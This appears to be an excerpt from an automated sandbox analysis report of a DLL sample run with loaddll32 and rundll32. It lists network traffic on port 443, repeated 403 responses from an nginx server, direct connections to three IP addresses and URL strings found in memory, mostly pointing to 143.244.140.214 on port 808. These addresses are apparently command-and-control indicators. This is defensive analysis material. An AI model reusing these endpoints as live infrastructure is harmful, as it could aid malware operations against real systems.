Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50155
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:50:55 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:00 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:02 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:05 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:06 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:09 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:10 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:13 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:14 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:17 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:18 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:22 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:22 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:26 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:26 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:30 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:30 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:34 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:34 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:38 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:38 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:41 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:42 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:45 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:46 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:49 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:49 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:53 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:53 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:57 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:51:57 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:01 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:01 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:05 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:05 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:08 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:09 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:12 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:13 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:16 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:17 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:20 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:20 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:24 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:25 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:28 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:29 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:32 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:32 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:36 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:36 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:40 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:40 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:45 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:45 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:48 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:48 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:52 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:52 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:56 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:52:56 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:00 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:00 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:04 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:04 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:08 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:08 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:12 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:13 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:16 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:16 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:20 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:21 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:24 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:25 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:28 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:29 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:31 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:33 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:35 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:37 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:39 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:41 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:43 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:45 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:47 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:49 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:51 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:53 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:55 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:57 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:53:59 GMTContent-Type: text/plain; charset=utf-8Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96

Source: rundll32.exe, 00000004.00000003.377435107.00000000056FF000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsF
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: 77EC63BDA74BD0D0E0426DC8F8008506.4.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rundll32.exe, 00000004.00000003.376611572.00000000056FD000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?f09641962053d
Source: loaddll32.exe, 00000000.00000003.628735432.0000000001672000.00000004.00000001.sdmp	String found in binary or memory: https://14.77.0.96:6891/
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.390529394.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214/
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214/Q#
Source: rundll32.exe, 00000004.00000003.390529394.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214/v
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.764620245.000000000166E000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.497146679.000000000166F000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.400716165.0000000001673000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.476592616.0000000001676000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.441859991.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/
Source: loaddll32.exe, 00000000.00000003.400716165.0000000001673000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/#Gq
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/%)
Source: loaddll32.exe, 00000000.00000003.756126236.000000000166D000.00000004.00000001.sdmp, rundll32.exe, 00000004.00000003.567390680.00000000056FE000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/&
Source: loaddll32.exe, 00000000.00000003.395037799.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/-ZY
Source: loaddll32.exe, 00000000.00000003.680591172.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/0
Source: loaddll32.exe, 00000000.00000003.399573978.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/3
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/7)
Source: loaddll32.exe, 00000000.00000003.739023483.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/8D
Source: loaddll32.exe, 00000000.00000003.594551032.0000000001673000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/8DH
Source: loaddll32.exe, 00000000.00000003.414827142.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/B
Source: loaddll32.exe, 00000000.00000003.764620245.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/F)
Source: loaddll32.exe, 00000000.00000003.414827142.000000000166E000.00000004.00000001.sdmp, loaddll32.exe, 00000000.00000003.730453084.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/H
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/K(
Source: loaddll32.exe, 00000000.00000003.739023483.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/My
Source: loaddll32.exe, 00000000.00000003.742305887.000000000166F000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/O
Source: loaddll32.exe, 00000000.00000003.469611950.0000000001674000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/O)
Source: loaddll32.exe, 00000000.00000003.658533321.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/P
Source: loaddll32.exe, 00000000.00000003.764620245.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/Q)
Source: loaddll32.exe, 00000000.00000003.408181456.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/S
Source: loaddll32.exe, 00000000.00000003.680591172.0000000001676000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/Y
Source: loaddll32.exe, 00000000.00000003.764620245.000000000166E000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/b)
